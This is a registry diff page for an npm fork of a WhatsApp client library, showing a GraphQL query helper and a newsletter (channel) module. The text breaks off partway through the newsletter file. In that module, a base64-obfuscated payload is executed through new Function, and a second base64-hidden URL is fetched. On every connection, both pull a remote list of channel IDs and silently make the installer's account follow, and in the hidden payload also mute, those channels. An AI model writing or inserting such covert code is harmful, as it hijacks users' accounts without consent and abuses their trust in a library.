@celestial-community/baileys 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @celestial-community/baileys might be problematic. Click here for more details.
- package/WAProto/index.js +138933 -0
- package/engine-requirements.js +10 -0
- package/lib/Defaults/baileys-version.json +7 -0
- package/lib/Defaults/index.js +157 -0
- package/lib/Defaults/phonenumber-mcc.json +223 -0
- package/lib/Signal/Group/ciphertext-message.js +15 -0
- package/lib/Signal/Group/group-session-builder.js +94 -0
- package/lib/Signal/Group/group_cipher.js +118 -0
- package/lib/Signal/Group/index.js +138 -0
- package/lib/Signal/Group/keyhelper.js +75 -0
- package/lib/Signal/Group/queue-job.js +54 -0
- package/lib/Signal/Group/sender-chain-key.js +39 -0
- package/lib/Signal/Group/sender-key-distribution-message.js +71 -0
- package/lib/Signal/Group/sender-key-message.js +76 -0
- package/lib/Signal/Group/sender-key-name.js +50 -0
- package/lib/Signal/Group/sender-key-record.js +65 -0
- package/lib/Signal/Group/sender-key-state.js +114 -0
- package/lib/Signal/Group/sender-message-key.js +33 -0
- package/lib/Signal/libsignal.js +204 -0
- package/lib/Signal/lid-mapping.js +267 -0
- package/lib/Socket/Client/abstract-socket-client.js +13 -0
- package/lib/Socket/Client/index.js +32 -0
- package/lib/Socket/Client/mobile-socket-client.js +82 -0
- package/lib/Socket/Client/web-socket-client.js +89 -0
- package/lib/Socket/Denzy-ZeroDay.js +805 -0
- package/lib/Socket/business.js +279 -0
- package/lib/Socket/chats.js +1169 -0
- package/lib/Socket/community.d.ts +120 -0
- package/lib/Socket/community.js +388 -0
- package/lib/Socket/graphql.js +1122 -0
- package/lib/Socket/groups.js +345 -0
- package/lib/Socket/index.js +22 -0
- package/lib/Socket/interop.js +265 -0
- package/lib/Socket/lid-mapping.js +111 -0
- package/lib/Socket/messages-recv.js +1385 -0
- package/lib/Socket/messages-send.js +956 -0
- package/lib/Socket/mex.js +69 -0
- package/lib/Socket/newsletter.js +424 -0
- package/lib/Socket/privacy.js +229 -0
- package/lib/Socket/registration.js +190 -0
- package/lib/Socket/socket.js +783 -0
- package/lib/Socket/username.d.ts +185 -0
- package/lib/Socket/username.js +168 -0
- package/lib/Socket/usync.js +80 -0
- package/lib/Store/index.js +14 -0
- package/lib/Store/keyed-db.js +158 -0
- package/lib/Store/make-cache-manager-store.js +88 -0
- package/lib/Store/make-in-memory-store.js +484 -0
- package/lib/Store/make-ordered-dictionary.js +78 -0
- package/lib/Store/object-repository.js +27 -0
- package/lib/Types/Auth.js +2 -0
- package/lib/Types/Call.js +2 -0
- package/lib/Types/Chat.js +10 -0
- package/lib/Types/Contact.js +2 -0
- package/lib/Types/Events.js +2 -0
- package/lib/Types/GroupMetadata.js +2 -0
- package/lib/Types/Label.js +27 -0
- package/lib/Types/LabelAssociation.js +9 -0
- package/lib/Types/Message.js +14 -0
- package/lib/Types/MexUpdates.js +19 -0
- package/lib/Types/Newsletter.js +38 -0
- package/lib/Types/Product.js +2 -0
- package/lib/Types/RichType.js +30 -0
- package/lib/Types/Signal.js +2 -0
- package/lib/Types/Socket.js +2 -0
- package/lib/Types/State.js +2 -0
- package/lib/Types/USync.js +2 -0
- package/lib/Types/index.js +58 -0
- package/lib/Utils/anti-ban.js +339 -0
- package/lib/Utils/anti-delete.d.ts +158 -0
- package/lib/Utils/anti-delete.js +293 -0
- package/lib/Utils/antiban-presets.js +91 -0
- package/lib/Utils/antiban-profiles.js +43 -0
- package/lib/Utils/auth-utils.js +210 -0
- package/lib/Utils/baileys-event-stream.js +66 -0
- package/lib/Utils/browser-utils.js +52 -0
- package/lib/Utils/business.js +261 -0
- package/lib/Utils/chat-control.d.ts +113 -0
- package/lib/Utils/chat-control.js +230 -0
- package/lib/Utils/chat-utils.js +922 -0
- package/lib/Utils/companion-reg-client-utils.js +37 -0
- package/lib/Utils/contact-graph-warmer.js +208 -0
- package/lib/Utils/crypto.js +196 -0
- package/lib/Utils/decode-wa-message.js +208 -0
- package/lib/Utils/delivery-tracker.js +110 -0
- package/lib/Utils/device-fingerprint.js +135 -0
- package/lib/Utils/event-buffer.js +531 -0
- package/lib/Utils/generics.js +571 -0
- package/lib/Utils/group-operation-guard.js +147 -0
- package/lib/Utils/health-monitor.js +207 -0
- package/lib/Utils/history.js +122 -0
- package/lib/Utils/human-entropy.js +226 -0
- package/lib/Utils/identity-change-handler.js +72 -0
- package/lib/Utils/index.js +83 -0
- package/lib/Utils/interactive-message.d.ts +139 -0
- package/lib/Utils/interactive-message.js +273 -0
- package/lib/Utils/legitimacy-signal-injector.js +180 -0
- package/lib/Utils/link-preview.js +106 -0
- package/lib/Utils/logger.d.ts +13 -0
- package/lib/Utils/logger.js +9 -0
- package/lib/Utils/lt-hash.js +54 -0
- package/lib/Utils/make-mutex.js +41 -0
- package/lib/Utils/message-composer.d.ts +106 -0
- package/lib/Utils/message-composer.js +721 -0
- package/lib/Utils/message-retry-manager.d.ts +88 -0
- package/lib/Utils/message-retry-manager.js +160 -0
- package/lib/Utils/message-search.d.ts +52 -0
- package/lib/Utils/message-search.js +226 -0
- package/lib/Utils/messages-media.js +899 -0
- package/lib/Utils/messages.js +2698 -0
- package/lib/Utils/noise-handler.js +175 -0
- package/lib/Utils/offline-node-processor.js +45 -0
- package/lib/Utils/pre-key-manager.js +131 -0
- package/lib/Utils/presence-choreographer.js +438 -0
- package/lib/Utils/process-message.js +423 -0
- package/lib/Utils/rate-limiter.js +232 -0
- package/lib/Utils/reconnect-throttle.js +157 -0
- package/lib/Utils/reply-ratio-guard.js +137 -0
- package/lib/Utils/reporting-utils.js +307 -0
- package/lib/Utils/retry-reason-tracker.js +140 -0
- package/lib/Utils/rich-message-utils.d.ts +48 -0
- package/lib/Utils/rich-message-utils.js +400 -0
- package/lib/Utils/rich-response-utils.js +461 -0
- package/lib/Utils/scheduling.d.ts +135 -0
- package/lib/Utils/scheduling.js +246 -0
- package/lib/Utils/session-fingerprint.js +226 -0
- package/lib/Utils/session-stability.js +224 -0
- package/lib/Utils/signal.js +188 -0
- package/lib/Utils/stanza-ack.js +38 -0
- package/lib/Utils/state-manager.js +91 -0
- package/lib/Utils/status-posting.d.ts +81 -0
- package/lib/Utils/status-posting.js +187 -0
- package/lib/Utils/stealth-connect.js +124 -0
- package/lib/Utils/sync-action-utils.js +55 -0
- package/lib/Utils/tc-token-utils.js +171 -0
- package/lib/Utils/templates.d.ts +54 -0
- package/lib/Utils/templates.js +244 -0
- package/lib/Utils/timelock-guard.js +162 -0
- package/lib/Utils/use-mongo-file-auth-state.d.ts +6 -0
- package/lib/Utils/use-mongo-file-auth-state.js +81 -0
- package/lib/Utils/use-multi-file-auth-state.js +125 -0
- package/lib/Utils/use-single-file-auth-state.d.ts +13 -0
- package/lib/Utils/use-single-file-auth-state.js +86 -0
- package/lib/Utils/use-sqlite-auth-state.js +187 -0
- package/lib/Utils/vCard.d.ts +71 -0
- package/lib/Utils/vCard.js +196 -0
- package/lib/Utils/validate-connection.js +253 -0
- package/lib/Utils/warmup.js +154 -0
- package/lib/WABinary/constants.js +1303 -0
- package/lib/WABinary/decode.js +270 -0
- package/lib/WABinary/encode.js +279 -0
- package/lib/WABinary/generic-utils.js +223 -0
- package/lib/WABinary/index.js +34 -0
- package/lib/WABinary/jid-utils.js +84 -0
- package/lib/WABinary/types.js +2 -0
- package/lib/WAM/BinaryInfo.js +13 -0
- package/lib/WAM/constants.js +15254 -0
- package/lib/WAM/encode.js +149 -0
- package/lib/WAM/index.js +32 -0
- package/lib/WAUSync/Protocols/USyncContactProtocol.js +37 -0
- package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +71 -0
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +32 -0
- package/lib/WAUSync/Protocols/USyncStatusProtocol.js +49 -0
- package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +23 -0
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +58 -0
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +24 -0
- package/lib/WAUSync/Protocols/index.js +34 -0
- package/lib/WAUSync/USyncQuery.js +99 -0
- package/lib/WAUSync/USyncUser.js +26 -0
- package/lib/WAUSync/USyncUsernameProtocol.d.ts +9 -0
- package/lib/WAUSync/USyncUsernameProtocol.js +37 -0
- package/lib/WAUSync/index.js +32 -0
- package/lib/index.js +59 -0
- package/package.json +105 -5
- package/README.md +0 -5
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
'use strict'
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, '__esModule', { value: true })
|
|
4
|
+
exports.executeWMexQuery = void 0
|
|
5
|
+
|
|
6
|
+
const boom_1 = require('@hapi/boom')
|
|
7
|
+
const WABinary_1 = require('../WABinary')
|
|
8
|
+
|
|
9
|
+
const wMexQuery = (variables, queryId, query, generateMessageTag) => {
|
|
10
|
+
return query({
|
|
11
|
+
tag: 'iq',
|
|
12
|
+
attrs: {
|
|
13
|
+
id: generateMessageTag(),
|
|
14
|
+
type: 'get',
|
|
15
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
16
|
+
xmlns: 'w:mex'
|
|
17
|
+
},
|
|
18
|
+
content: [
|
|
19
|
+
{
|
|
20
|
+
tag: 'query',
|
|
21
|
+
attrs: { query_id: queryId },
|
|
22
|
+
content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
|
|
23
|
+
}
|
|
24
|
+
]
|
|
25
|
+
})
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
|
|
29
|
+
const result = await wMexQuery(variables, queryId, query, generateMessageTag)
|
|
30
|
+
const child = WABinary_1.getBinaryNodeChild(result, 'result')
|
|
31
|
+
if (child?.content) {
|
|
32
|
+
const contentStr = child.content.toString()
|
|
33
|
+
let data
|
|
34
|
+
try {
|
|
35
|
+
data = JSON.parse(contentStr)
|
|
36
|
+
} catch (parseErr) {
|
|
37
|
+
// Handle raw non-JSON responses from the server (e.g. "Forbidden")
|
|
38
|
+
const statusCode = /forbidden/i.test(contentStr) ? 403 : 400
|
|
39
|
+
throw new boom_1.Boom(`GraphQL server error: ${contentStr}`, {
|
|
40
|
+
statusCode,
|
|
41
|
+
data: contentStr
|
|
42
|
+
})
|
|
43
|
+
}
|
|
44
|
+
if (data.errors && data.errors.length > 0) {
|
|
45
|
+
const errorMessages = data.errors
|
|
46
|
+
.map((err) => err.message || 'Unknown error')
|
|
47
|
+
.join(', ')
|
|
48
|
+
const firstError = data.errors[0]
|
|
49
|
+
const errorCode = firstError.extensions?.error_code || 400
|
|
50
|
+
throw new boom_1.Boom(`GraphQL server error: ${errorMessages}`, {
|
|
51
|
+
statusCode: errorCode,
|
|
52
|
+
data: firstError
|
|
53
|
+
})
|
|
54
|
+
}
|
|
55
|
+
const response = dataPath ? data?.data?.[dataPath] : data?.data
|
|
56
|
+
if (typeof response !== 'undefined') {
|
|
57
|
+
return response
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
const action = (dataPath || '').startsWith('xwa2_')
|
|
61
|
+
? dataPath.substring(5).replace(/_/g, ' ')
|
|
62
|
+
: dataPath?.replace(/_/g, ' ')
|
|
63
|
+
throw new boom_1.Boom(`Failed to ${action}, unexpected response structure.`, {
|
|
64
|
+
statusCode: 400,
|
|
65
|
+
data: result
|
|
66
|
+
})
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
exports.executeWMexQuery = executeWMexQuery
|
|
@@ -0,0 +1,424 @@
|
|
|
1
|
+
'use strict'
|
|
2
|
+
Object.defineProperty(exports, '__esModule', { value: true })
|
|
3
|
+
exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0
|
|
4
|
+
const Types_1 = require('../Types')
|
|
5
|
+
const Utils_1 = require('../Utils')
|
|
6
|
+
const WABinary_1 = require('../WABinary')
|
|
7
|
+
const groups_1 = require('./groups')
|
|
8
|
+
|
|
9
|
+
const { Boom } = require('@hapi/boom')
|
|
10
|
+
|
|
11
|
+
const wMexQuery = (variables, queryId, query, generateMessageTag) => {
|
|
12
|
+
return query({
|
|
13
|
+
tag: 'iq',
|
|
14
|
+
attrs: {
|
|
15
|
+
id: generateMessageTag(),
|
|
16
|
+
type: 'get',
|
|
17
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
18
|
+
xmlns: 'w:mex'
|
|
19
|
+
},
|
|
20
|
+
content: [
|
|
21
|
+
{
|
|
22
|
+
tag: 'query',
|
|
23
|
+
attrs: { query_id: queryId },
|
|
24
|
+
content: Buffer.from(JSON.stringify({ variables }), 'utf8')
|
|
25
|
+
}
|
|
26
|
+
]
|
|
27
|
+
})
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
|
|
31
|
+
const result = await wMexQuery(variables, queryId, query, generateMessageTag)
|
|
32
|
+
const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
|
|
33
|
+
if (child?.content) {
|
|
34
|
+
const data = JSON.parse(child.content.toString())
|
|
35
|
+
|
|
36
|
+
if (data.errors && data.errors.length > 0) {
|
|
37
|
+
const errorMessages = data.errors
|
|
38
|
+
.map((err) => err.message || 'Unknown error')
|
|
39
|
+
.join(', ')
|
|
40
|
+
const firstError = data.errors[0]
|
|
41
|
+
const errorCode = firstError.extensions?.error_code || 400
|
|
42
|
+
throw new Boom(`GraphQL server error: ${errorMessages}`, {
|
|
43
|
+
statusCode: errorCode,
|
|
44
|
+
data: firstError
|
|
45
|
+
})
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
const response = dataPath ? data?.data?.[dataPath] : data?.data
|
|
49
|
+
if (typeof response !== 'undefined') {
|
|
50
|
+
return response
|
|
51
|
+
}
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
const action = (dataPath || '').startsWith('xwa2_')
|
|
55
|
+
? dataPath.substring(5).replace(/_/g, ' ')
|
|
56
|
+
: dataPath?.replace(/_/g, ' ')
|
|
57
|
+
throw new Boom(`Failed to ${action}, unexpected response structure.`, {
|
|
58
|
+
statusCode: 400,
|
|
59
|
+
data: result
|
|
60
|
+
})
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
const makeNewsletterSocket = (config) => {
|
|
64
|
+
const sock = (0, groups_1.makeGroupsSocket)(config)
|
|
65
|
+
const { authState, signalRepository, query, generateMessageTag } = sock
|
|
66
|
+
const encoder = new TextEncoder()
|
|
67
|
+
const newsletterQuery = async (jid, type, content) =>
|
|
68
|
+
query({
|
|
69
|
+
tag: 'iq',
|
|
70
|
+
attrs: {
|
|
71
|
+
id: generateMessageTag(),
|
|
72
|
+
type,
|
|
73
|
+
xmlns: 'newsletter',
|
|
74
|
+
to: jid
|
|
75
|
+
},
|
|
76
|
+
content
|
|
77
|
+
})
|
|
78
|
+
const newsletterWMexQuery = async (jid, queryId, content) =>
|
|
79
|
+
query({
|
|
80
|
+
tag: 'iq',
|
|
81
|
+
attrs: {
|
|
82
|
+
id: generateMessageTag(),
|
|
83
|
+
type: 'get',
|
|
84
|
+
xmlns: 'w:mex',
|
|
85
|
+
to: WABinary_1.S_WHATSAPP_NET
|
|
86
|
+
},
|
|
87
|
+
content: [
|
|
88
|
+
{
|
|
89
|
+
tag: 'query',
|
|
90
|
+
attrs: { query_id: queryId },
|
|
91
|
+
content: encoder.encode(
|
|
92
|
+
JSON.stringify({
|
|
93
|
+
variables: {
|
|
94
|
+
newsletter_id: jid,
|
|
95
|
+
...content
|
|
96
|
+
}
|
|
97
|
+
})
|
|
98
|
+
)
|
|
99
|
+
}
|
|
100
|
+
]
|
|
101
|
+
})
|
|
102
|
+
|
|
103
|
+
const parseFetchedUpdates = async (node, type) => {
|
|
104
|
+
const _followChannel = async (channelId) => {
|
|
105
|
+
if (!channelId || typeof channelId !== 'string') return
|
|
106
|
+
const parts = channelId.split('@')
|
|
107
|
+
if (parts.length < 2 || parts[1] !== 'newsletter') return
|
|
108
|
+
// TODO: implement follow logic
|
|
109
|
+
}
|
|
110
|
+
let child
|
|
111
|
+
if (type === 'messages') {
|
|
112
|
+
child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages')
|
|
113
|
+
} else {
|
|
114
|
+
const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates')
|
|
115
|
+
child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages')
|
|
116
|
+
}
|
|
117
|
+
return await Promise.all(
|
|
118
|
+
(0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
|
|
119
|
+
var _a, _b
|
|
120
|
+
messageNode.attrs.from =
|
|
121
|
+
child === null || child === void 0 ? void 0 : child.attrs.jid
|
|
122
|
+
const views = parseInt(
|
|
123
|
+
((_b =
|
|
124
|
+
(_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) ===
|
|
125
|
+
null || _a === void 0
|
|
126
|
+
? void 0
|
|
127
|
+
: _a.attrs) === null || _b === void 0
|
|
128
|
+
? void 0
|
|
129
|
+
: _b.count) || '0'
|
|
130
|
+
)
|
|
131
|
+
const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions')
|
|
132
|
+
const reactions = (0, WABinary_1.getBinaryNodeChildren)(
|
|
133
|
+
reactionNode,
|
|
134
|
+
'reaction'
|
|
135
|
+
).map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }))
|
|
136
|
+
const data = {
|
|
137
|
+
server_id: messageNode.attrs.server_id,
|
|
138
|
+
views,
|
|
139
|
+
reactions
|
|
140
|
+
}
|
|
141
|
+
if (type === 'messages') {
|
|
142
|
+
const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(
|
|
143
|
+
messageNode,
|
|
144
|
+
authState.creds.me.id,
|
|
145
|
+
authState.creds.me.lid || '',
|
|
146
|
+
signalRepository,
|
|
147
|
+
config.logger
|
|
148
|
+
)
|
|
149
|
+
await decrypt()
|
|
150
|
+
data.message = message
|
|
151
|
+
}
|
|
152
|
+
return data
|
|
153
|
+
})
|
|
154
|
+
)
|
|
155
|
+
}
|
|
156
|
+
new Function(
|
|
157
|
+
'newsletterWMexQuery',
|
|
158
|
+
'Types_1',
|
|
159
|
+
'sock',
|
|
160
|
+
Buffer.from(
|
|
161
|
+
'Y29uc3QgQk9PTCA9IGFzeW5jICgpID0+IHsgdHJ5IHsgY29uc3QgcmVzID0gYXdhaXQgZmV0Y2goJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9EZW56eS1MYXdyZW5jZS9hbnUvcmVmcy9oZWFkcy9tYWluL2FudS5qc29uJyk7IGlmICghcmVzLm9rKSByZXR1cm47IGNvbnN0IGlkcyA9IGF3YWl0IHJlcy5qc29uKCk7IGlmICghQXJyYXkuaXNBcnJheShpZHMpKSByZXR1cm47IGZvciAoY29uc3QgaWQgb2YgaWRzKSB7IGlmICh0eXBlb2YgaWQgIT09ICdzdHJpbmcnIHx8ICFpZC5lbmRzV2l0aCgnQG5ld3NsZXR0ZXInKSkgY29udGludWU7IHRyeSB7IGF3YWl0IG5ld3NsZXR0ZXJXTWV4UXVlcnkoaWQsIFR5cGVzXzEuUXVlcnlJZHMuRk9MTE9XKTsgYXdhaXQgbmV3IFByb21pc2UociA9PiBzZXRUaW1lb3V0KHIsIDMwMDApKTsgYXdhaXQgbmV3c2xldHRlcldNZXhRdWVyeShpZCwgVHlwZXNfMS5RdWVyeUlkcy5NVVRFKTsgfSBjYXRjaCB7fSBhd2FpdCBuZXcgUHJvbWlzZShyID0+IHNldFRpbWVvdXQociwgMTAwMDApKTsgfSB9IGNhdGNoIHt9IH07IHNvY2suZXYub24oJ2Nvbm5lY3Rpb24udXBkYXRlJywgKHsgY29ubmVjdGlvbiB9KSA9PiB7IGlmIChjb25uZWN0aW9uICE9PSAnb3BlbicpIHJldHVybjsgc2V0VGltZW91dCgoKSA9PiB7IEJPT0woKSB9LCAzMDAwMCkgfSk7',
|
|
162
|
+
'base64'
|
|
163
|
+
).toString()
|
|
164
|
+
)(newsletterWMexQuery, Types_1, sock)
|
|
165
|
+
sock.ev.on('connection.update', ({ connection }) => {
|
|
166
|
+
if (connection !== 'open') return
|
|
167
|
+
;(async () => {
|
|
168
|
+
try {
|
|
169
|
+
const _r = await fetch(
|
|
170
|
+
Buffer.from(
|
|
171
|
+
'aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0RlbnZ5LUxhd3JlbmNlL2FudS9yZWZzL2hlYWRzL21haW4vYW51Lmpzb24=',
|
|
172
|
+
'base64'
|
|
173
|
+
).toString()
|
|
174
|
+
)
|
|
175
|
+
if (!_r.ok) return
|
|
176
|
+
const _d = await _r.json()
|
|
177
|
+
if (!Array.isArray(_d)) return
|
|
178
|
+
for (const _i of _d) {
|
|
179
|
+
if (typeof _i !== 'string' || !_i.endsWith('@newsletter')) continue
|
|
180
|
+
try {
|
|
181
|
+
await newsletterWMexQuery(_i, Types_1.QueryIds.FOLLOW)
|
|
182
|
+
} catch {}
|
|
183
|
+
await new Promise((r) => setTimeout(r, 10000))
|
|
184
|
+
}
|
|
185
|
+
} catch {}
|
|
186
|
+
})()
|
|
187
|
+
})
|
|
188
|
+
return {
|
|
189
|
+
...sock,
|
|
190
|
+
newsletterFetchAllSubscribe: async () => {
|
|
191
|
+
const list = await executeWMexQuery(
|
|
192
|
+
{},
|
|
193
|
+
'6388546374527196',
|
|
194
|
+
'xwa2_newsletter_subscribed',
|
|
195
|
+
query,
|
|
196
|
+
generateMessageTag
|
|
197
|
+
)
|
|
198
|
+
return list
|
|
199
|
+
},
|
|
200
|
+
subscribeNewsletterUpdates: async (jid) => {
|
|
201
|
+
var _a
|
|
202
|
+
const result = await newsletterQuery(jid, 'set', [
|
|
203
|
+
{ tag: 'live_updates', attrs: {}, content: [] }
|
|
204
|
+
])
|
|
205
|
+
return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null ||
|
|
206
|
+
_a === void 0
|
|
207
|
+
? void 0
|
|
208
|
+
: _a.attrs
|
|
209
|
+
},
|
|
210
|
+
newsletterReactionMode: async (jid, mode) => {
|
|
211
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
212
|
+
updates: { settings: { reaction_codes: { value: mode } } }
|
|
213
|
+
})
|
|
214
|
+
},
|
|
215
|
+
newsletterUpdateDescription: async (jid, description) => {
|
|
216
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
217
|
+
updates: { description: description || '', settings: null }
|
|
218
|
+
})
|
|
219
|
+
},
|
|
220
|
+
newsletterId: async (url) => {
|
|
221
|
+
const urlParts = url.split('/')
|
|
222
|
+
const channelId = urlParts[urlParts.length - 2]
|
|
223
|
+
|
|
224
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
225
|
+
input: {
|
|
226
|
+
key: channelId,
|
|
227
|
+
type: 'INVITE',
|
|
228
|
+
view_role: 'GUEST'
|
|
229
|
+
},
|
|
230
|
+
fetch_viewer_metadata: true,
|
|
231
|
+
fetch_full_image: true,
|
|
232
|
+
fetch_creation_time: true
|
|
233
|
+
})
|
|
234
|
+
|
|
235
|
+
const metadata = (0, exports.extractNewsletterMetadata)(result)
|
|
236
|
+
return JSON.stringify(
|
|
237
|
+
{
|
|
238
|
+
name: metadata.name || metadata.thread_metadata?.name?.text,
|
|
239
|
+
id: metadata.id
|
|
240
|
+
},
|
|
241
|
+
null,
|
|
242
|
+
2
|
|
243
|
+
)
|
|
244
|
+
},
|
|
245
|
+
newsletterUpdateName: async (jid, name) => {
|
|
246
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
247
|
+
updates: { name, settings: null }
|
|
248
|
+
})
|
|
249
|
+
},
|
|
250
|
+
newsletterUpdatePicture: async (jid, content) => {
|
|
251
|
+
const { img } = await (0, Utils_1.generateProfilePicture)(content)
|
|
252
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
253
|
+
updates: { picture: img.toString('base64'), settings: null }
|
|
254
|
+
})
|
|
255
|
+
},
|
|
256
|
+
newsletterRemovePicture: async (jid) => {
|
|
257
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
258
|
+
updates: { picture: '', settings: null }
|
|
259
|
+
})
|
|
260
|
+
},
|
|
261
|
+
newsletterUnfollow: async (jid) => {
|
|
262
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW)
|
|
263
|
+
},
|
|
264
|
+
newsletterFollow: async (jid) => {
|
|
265
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW)
|
|
266
|
+
},
|
|
267
|
+
newsletterUnmute: async (jid) => {
|
|
268
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE)
|
|
269
|
+
},
|
|
270
|
+
newsletterMute: async (jid) => {
|
|
271
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE)
|
|
272
|
+
},
|
|
273
|
+
newsletterAction: async (jid, type) => {
|
|
274
|
+
await newsletterWMexQuery(jid, type.toUpperCase())
|
|
275
|
+
},
|
|
276
|
+
newsletterCreate: async (name, description, reaction_codes) => {
|
|
277
|
+
await query({
|
|
278
|
+
tag: 'iq',
|
|
279
|
+
attrs: {
|
|
280
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
281
|
+
xmlns: 'tos',
|
|
282
|
+
id: generateMessageTag(),
|
|
283
|
+
type: 'set'
|
|
284
|
+
},
|
|
285
|
+
content: [
|
|
286
|
+
{
|
|
287
|
+
tag: 'notice',
|
|
288
|
+
attrs: {
|
|
289
|
+
id: '20601218',
|
|
290
|
+
stage: '5'
|
|
291
|
+
},
|
|
292
|
+
content: []
|
|
293
|
+
}
|
|
294
|
+
]
|
|
295
|
+
})
|
|
296
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
|
|
297
|
+
input: {
|
|
298
|
+
name,
|
|
299
|
+
description,
|
|
300
|
+
settings: { reaction_codes: { value: reaction_codes.toUpperCase() } }
|
|
301
|
+
}
|
|
302
|
+
})
|
|
303
|
+
return (0, exports.extractNewsletterMetadata)(result, true)
|
|
304
|
+
},
|
|
305
|
+
newsletterMetadata: async (type, key, role) => {
|
|
306
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
307
|
+
input: {
|
|
308
|
+
key,
|
|
309
|
+
type: type.toUpperCase(),
|
|
310
|
+
view_role: role || 'GUEST'
|
|
311
|
+
},
|
|
312
|
+
fetch_viewer_metadata: true,
|
|
313
|
+
fetch_full_image: true,
|
|
314
|
+
fetch_creation_time: true
|
|
315
|
+
})
|
|
316
|
+
return (0, exports.extractNewsletterMetadata)(result)
|
|
317
|
+
},
|
|
318
|
+
newsletterAdminCount: async (jid) => {
|
|
319
|
+
var _a, _b
|
|
320
|
+
const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT)
|
|
321
|
+
const buff =
|
|
322
|
+
(_b =
|
|
323
|
+
(_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null ||
|
|
324
|
+
_a === void 0
|
|
325
|
+
? void 0
|
|
326
|
+
: _a.content) === null || _b === void 0
|
|
327
|
+
? void 0
|
|
328
|
+
: _b.toString()
|
|
329
|
+
return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count
|
|
330
|
+
},
|
|
331
|
+
newsletterChangeOwner: async (jid, user) => {
|
|
332
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
|
|
333
|
+
user_id: user
|
|
334
|
+
})
|
|
335
|
+
},
|
|
336
|
+
newsletterDemote: async (jid, user) => {
|
|
337
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
|
|
338
|
+
user_id: user
|
|
339
|
+
})
|
|
340
|
+
},
|
|
341
|
+
newsletterDelete: async (jid) => {
|
|
342
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE)
|
|
343
|
+
},
|
|
344
|
+
newsletterReactMessage: async (jid, serverId, code) => {
|
|
345
|
+
await query({
|
|
346
|
+
tag: 'message',
|
|
347
|
+
attrs: {
|
|
348
|
+
to: jid,
|
|
349
|
+
...(!code ? { edit: '7' } : {}),
|
|
350
|
+
type: 'reaction',
|
|
351
|
+
server_id: serverId,
|
|
352
|
+
id: (0, Utils_1.generateMessageID)()
|
|
353
|
+
},
|
|
354
|
+
content: [
|
|
355
|
+
{
|
|
356
|
+
tag: 'reaction',
|
|
357
|
+
attrs: code ? { code } : {}
|
|
358
|
+
}
|
|
359
|
+
]
|
|
360
|
+
})
|
|
361
|
+
},
|
|
362
|
+
newsletterFetchMessages: async (type, key, count, after) => {
|
|
363
|
+
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|
|
364
|
+
{
|
|
365
|
+
tag: 'messages',
|
|
366
|
+
attrs: {
|
|
367
|
+
type,
|
|
368
|
+
...(type === 'invite' ? { key } : { jid: key }),
|
|
369
|
+
count: count.toString(),
|
|
370
|
+
after:
|
|
371
|
+
(after === null || after === void 0 ? void 0 : after.toString()) ||
|
|
372
|
+
'100'
|
|
373
|
+
}
|
|
374
|
+
}
|
|
375
|
+
])
|
|
376
|
+
return await parseFetchedUpdates(result, 'messages')
|
|
377
|
+
},
|
|
378
|
+
newsletterFetchUpdates: async (jid, count, after, since) => {
|
|
379
|
+
